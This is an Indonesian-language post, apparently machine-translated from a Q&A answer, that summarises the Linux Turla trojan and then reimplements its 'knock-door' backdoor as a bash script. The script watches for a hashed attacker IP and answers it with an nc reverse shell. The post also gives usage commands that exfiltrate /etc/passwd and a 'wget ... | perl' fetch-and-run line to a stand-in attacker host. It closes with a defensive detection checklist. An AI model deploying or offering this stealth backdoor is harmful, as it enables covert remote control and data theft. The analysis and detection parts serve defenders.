GNU/Linux >> Belajar Linux >  >> Linux

Trojan Turla berbasis Linux

TURLA adalah tahap akhir dari keluarga malware yang besar dan canggih. Sudah ada versi Windows yang dikenal setidaknya sejak 2010. Presentasi 40 halaman ini adalah sumber daya terlengkap yang pernah saya lihat, untuk kedua platform.

TURLA - pengembangan &operasi

Beberapa Sorotan Windows

  • Tahap 0:tahap serangan - vektor infeksi
  • Tahap 1:tahap pengintaian - pintu belakang awal
  • Tahap 2:gerakan menyamping
  • Tahap 3:akses tahap yang telah dibuat -TURLA diterapkan
  • Pada setiap tahap, mereka dapat berhenti jika kehilangan minat pada target

Tahap 0:Vektor Injeksi

  • Spear Phishing (CVE-2013-3346)(CVE-2013-5065)

  • Watering Holes [Adobe Update Social Engineering / Eksploitasi Java (CVE-2012-1723), Eksploitasi Adobe Flash atau Eksploitasi Internet Explorer 6,7,8]

  • Kompromi pemasok pihak ketiga

Tahap 1:Tahap Pengintaian

  • Pintu belakang awal - WipBot/Epic/TavDig

  • WipBot adalah kombinasi dari eksploitasi zero-day dan CVE-2013-3346

  • Fungsi ekspor dengan nama yang sama dengan TURLA. Tidak ada kesamaan lainnya

  • Menghancurkan proses debug dan sebagian besar kotak pasir malware

  • Proses melompat beberapa kali, menghapus bagian PE-nya sendiri

  • Dijelaskan lebih lanjut dalam laporan Kaspersky Lab

Tahap 2:Pergerakan Lateral

  • Perbaiki K&K

  • Lebih jauh menembus jaringan

  • Manfaatkan pintu belakang baru

  • Mendapatkan kredensial Admin Domain

Tahap 3:Turla

  • Dijatuhkan pada mesin tertentu untuk kompromi jangka panjang

  • Mesin dapat disusupi selama bertahun-tahun tanpa terdeteksi





Sumber Daya Lainnya

  • 'Penguin Turla' - Lab Kaspersky (detail spesifik linux)

  • Laporan Symantec - Turla





Sorotan Linux

  • Modul Turla ditulis dalam C/C++

  • Berdasarkan cd00r

  • Executable ditautkan secara statis ke beberapa pustaka

  • Fungsionalitasnya mencakup komunikasi jaringan tersembunyi, eksekusi perintah jarak jauh sewenang-wenang, dan manajemen jarak jauh

  • Sebagian besar kodenya didasarkan pada sumber publik

  • Tidak bisa dideteksi dengan netstat

  • Apakah tidak memerlukan akses root

Karakteristik Linux yang Dapat Dijalankan

  • ELF 32-bit LSB dapat dieksekusi, Intel 80386, versi 1 (SYSV), ditautkan secara statis, untuk GNU/Linux 2.2.5, dilucuti

Perpustakaan Tertaut Secara Statis Linux

  • glibc2.3.2 - pustaka GNU C

  • openssl v0.9.6 - pustaka OpenSSL yang lebih lama

  • libpcap - pustaka tangkapan jaringan tcpdump

Detail K&C Linux

  • K&C tahap pertama di-hardcode. Aktivitas yang diketahui @ news-bbc.podzone[.]org

  • IP pDNS:80.248.65.183

Rincian Startup/Eksekusi Linux

  • Proses memerlukan dua parameter:ID (nilai numerik yang digunakan sebagai bagian dari "paket ajaib untuk autentikasi") dan nama antarmuka jaringan yang sudah ada

  • Parameter dapat dimasukkan dengan dua cara berbeda:dari STDIN, atau dari dropper a launching the sample

  • Setelah ID dan nama antarmuka dimasukkan dan proses diluncurkan, PID proses backdoor dikembalikan

Paket Ajaib Linux

  • Tautkan perpustakaan PCAP secara statis

  • Mendapat soket mentah, menerapkan filter, menangkap paket

  • Memeriksa nomor ACK di header TCP, atau byte kedua dari badan paket UDP

  • Jika kondisi terpenuhi, eksekusi melompat ke konten payload paket dan membuat soket reguler

  • Backdoor menggunakan soket baru untuk terhubung ke alamat sumber Paket Ajaib

  • Backdoor melaporkan PID dan IP-nya sendiri, menunggu untuk menerima perintah

  • Perintah yang tiba dijalankan dengan skrip "/bin/sh -c "

Catatan Akhir

Segala sesuatu tentang versi linux berasal dari laporan Kaspersky. Sayangnya, pendeteksian tampaknya sangat sulit saat ini.

"Meskipun varian Linux dari kerangka kerja Turla diketahui ada, kami belum melihatnya di alam liar." - Lab Kaspersky


Cara kerjanya:

Pengantar singkat

Untuk menemukan cara mendeteksinya, saya bekerja keras dengan konsep dan metode.

Untuk ini, saya segera menulis skrip bash kecil yang bekerja dengan cara yang kira-kira sama.

Dari sana dan dengan beberapa pengetahuan tambahan tentang konsep Un*x, saya memposting daftar periksa saya yang dapat membantu menemukan trojan yang berfungsi ini di sistem apa pun.

Bash menulis ulang Turla knock-door

Untuk memahami cara kerjanya, saya menulis ini:

(Ini harus dijalankan pada host target, dengan eksploitasi jarak jauh, virus, atau lainnya.)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

Ini tidak sepenuhnya tidak terdeteksi tapi...

Fitur

  • Benar-benar tidak terdeteksi dengan menggunakan netstat , sambil tetap mendengarkan koneksi penyerang.
  • Gunakan [Masuk->Keluar] sebagai [RANDOM->80] port tcp untuk membuat koneksi terlihat seperti berselancar koneksi.
  • Tunggu IP tertentu (di-hash, jadi tidak terbaca) di port lokal 22, tanpa menggunakan promiscuous mode atau membutuhkan root hak istimewa
  • Setelah mendeteksi sambungan masuk dari IP tertentu (Knock! ), ini membuka koneksi ke IP ini, pada port 80 agar terlihat seperti koneksi jelajah dan tawarkan pesta , kembali ke koneksi ini.

Catatan: trojan asli dapat menggunakan SSL dan HTTP Header asli untuk bekerja melalui proxy juga!!

Ini menerima 4 argumen:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUm adalah hash dari penyerang asin IP-nya. Dapat dirender dengan menggunakan md5sum <<<SaltMyIP192.168.1.31 (Salt dapat diubah dalam skrip).
  • KnockDoorPort -> bport adalah port yang sudah diikat, digunakan pada host target (22 sebagai contoh jika target melayani SSH, tetapi port yang dibuka dapat digunakan)
  • myPort -> rport adalah port penyerang lokal yang digunakan untuk koneksi masuk (80 agar terlihat seperti koneksi http keluar. Tentu saja penyerang harus melakukan root pada host-nya!)
  • -i flag dapat digunakan untuk menjalankan bash secara interaktif

Langkah infeksi

  1. Langkah pertama adalah menjalankan skrip ini dengan menggunakan eksploit jarak jauh, seperti shellshock atau buffer-overflow apa pun .

  2. Kedua, penyerang harus mengetahui IP target, agar dapat mengirim knock door pada porta 22

  3. Gunakan dari IP penyerang (sebagai root untuk mendengarkan di tcp port 80), tunggu koneksi masuk target.

  4. Anda masuk ke dalam shell tepat sasaran!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
         ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

Contoh:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

atau

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

Tidak mudah dideteksi

Saat skrip tetap berjalan di host target, dan tidak ada koneksi penyerang yang terbuka, skrip yang berjalan tidak terlihat dengan menggunakan netcat .

Knock dilakukan sekali pada port 22 di mana banyak koneksi gagal adalah biasa . Koneksi shell sebenarnya terlihat seperti koneksi http keluar.

Jawaban:

  1. Bagaimana mesin linux bisa terinfeksi

    Ini adalah trojan , jadi pertanyaan ini tidak terlalu penting... (lihat Shellshock, sebagai contoh)

  2. Apakah ada eskalasi hak istimewa yang terlibat, atau semuanya hanya terjadi di bawah pengguna yang terinfeksi (yaitu uid 1000)

    Tidak, salah satu tujuannya adalah untuk mengizinkan penyerang mencari cara melakukan eskalasi hak istimewa .

  3. Di mana kode malware "hidup" di mesin yang terinfeksi

    1. Di mana saja dan di mana saja:Jika Anda menjalankan ini sebagai lampiran, Anda mungkin tahu di mana Anda menyimpannya. Jika dijalankan dari eksploit jarak jauh, mereka dapat menghapus biner setelah dijalankan.

    2. Jika Turla adalah biner (C ditulis), thay have untuk disimpan di suatu tempat di sistem Un*x Anda, dengan flag yang dapat dieksekusi diatur agar dapat dijalankan. Sistem file terbaru mengizinkan untuk menghapusnya setelah dijalankan, tetapi inode harus tetap tidak tersentuh!
      Ini dapat terungkap dengan mencari binari yang berjalan di sistem Anda tetapi terletak di standar PATH .

    3. Jika trojan adalah skrip, hanya biner yang harus ditautkan dalam sistem file, sehingga skrip dapat dihapus atau bahkan dijalankan sebagai STDIN dan tidak disimpan sama sekali.
      wget -qO - http://attacker.example.com/virus.pl | perl

  4. plus detail menarik lainnya

    Silakan coba skrip bash saya...

Daftar periksa (ditambahkan:04-02-2015)

  • Telusuri bercabang pids (di mana Induk Pid ==1)

     grep PPid:\\s1$ /proc/*/status
    
  • Cari proses yang tidak menjalankan biner dari PATH

     for pid in $(ps axho pid);do
         readlink /proc/$pid/exe |
           sed 's/\/[^\/]*$//'|
           grep -q "^${PATH//:/$\|^}$" ||
             printf "%10d  %-16s  %s\n" $pid "$(
                 sed 's/Name:[\t ]*//;q' /proc/$pid/status
               )" "$(
                 readlink /proc/$pid/exe
               )"
       done
    
  • Telusuri proses yang berjalan lama

     ps axho pid,etime,user,cmd
    

    ...

     ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • Skrip:Cari proses pembuatan semacam penyembunyian:bandingkan exe dan command line

     for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
         printf "%10d  %-40s  %s\n" $pid "$(
             readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
       done
    
  • Menggunakan apparmor , Anda dapat melihat proses mengakses tcp stack (dan/atau tumpukan udp ).

  • Menggunakan tcpdump , ada pekerjaan yang kuat, tetapi solusi yang efisien:

    Perhatikan keluar koneksi yang membuat permintaan apapun, menjadi jawaban tidak harus segera setelahnya, tetapi segera kirim permintaan berikutnya setelah menerima jawaban pertama, maka tidak peduli dengan jawaban permintaan terakhir:akan berhenti saat menerima exit direktif, mengatakan sesuatu seperti logout. , yang dapat diarahkan sebagai permintaan http terakhir dari sesi saat ini , tetapi tutup sebelum menerima tanggapan http apa pun .

    Nyatanya, Anda harus menemukan koneksi keluar di mana pertukaran data tidak cocok dengan skema reguler koneksi keluar, tetapi skema hibrid server-start - incoming connection - server-stop .

    Tentu saja, ini harus terjebak karena tidak ada koneksi yang terbuka secara permanen.

  • Membuat statistik panggilan sistem (menggunakan apparmor)

    terima kasih kepada alphanet untuk ide ini

    Buat statistik untuk setiap proses yang berjalan dan

    Kirimkan ke alat bayesian untuk menghitung profil biasa

    Untuk mendapatkan peringatan saat proses baru tidak cocok dengan profil biasa (atau bahkan saat proses yang berjalan berubah).


Linux
  1. Bagaimana Linux menyelamatkan komputer yang lambat (dan planet ini)

  2. Memulai NetworkManager di Linux

  3. Cara Memindai Kotak Linux Anda dari Trojan, Malware, dan Virus menggunakan ClamAV

  1. Menyertakan Secara Kondisional Panggung Pipa Dalam Skrip Bash?

  2. Dell Precision M4600 Terjebak Pada Tahap Terakhir Reboot?

  3. Siapkan pengguna SFTP di sistem berbasis Linux

  1. Linux – Apa Perbedaan Utama Antara Sistem Operasi Berbasis Bsd dan Linux?

  2. Linux – Seberapa Terbatas Distribusi Berbasis Linux Pada Nokia N900?

  3. Menandatangani aplikasi Windows di distro berbasis Linux